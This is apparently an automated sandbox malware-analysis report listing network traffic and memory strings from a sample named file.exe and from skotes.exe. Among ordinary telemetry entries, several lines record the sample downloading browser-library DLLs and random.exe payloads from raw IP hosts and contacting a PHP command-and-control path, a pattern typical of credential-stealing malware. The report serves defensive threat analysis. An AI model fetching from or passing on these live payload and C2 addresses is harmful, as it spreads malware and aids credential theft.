Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllg
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllu
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllC
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll=
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.2729651276.0000000000FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll;
Source: file.exe, 00000001.00000002.2729651276.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2729651276.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2759176656.0000000023503000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpCBFIDG.exeata;
Source: file.exe, 00000001.00000002.2729651276.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
Source: file.exe, 00000001.00000002.2729651276.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsoft
Source: file.exe, 00000001.00000002.2727488933.00000000003B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpK
Source: skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000020.00000002.3454377934.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exephp
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2755801391.000000001D38C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2763620252.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, KEGCBFCB.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 08eab6ac-041f-43f5-a394-5b37f5803d77.tmp.17.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000001.00000002.2759176656.00000000234F2000.00000004.00000020.00020000.00000000.sdmp, IEBFHCAKFBGDHIDHIDBK.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, KEGCBFCB.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.2402245559.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, DBFBFBGD.1.dr, KEGCBFCB.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
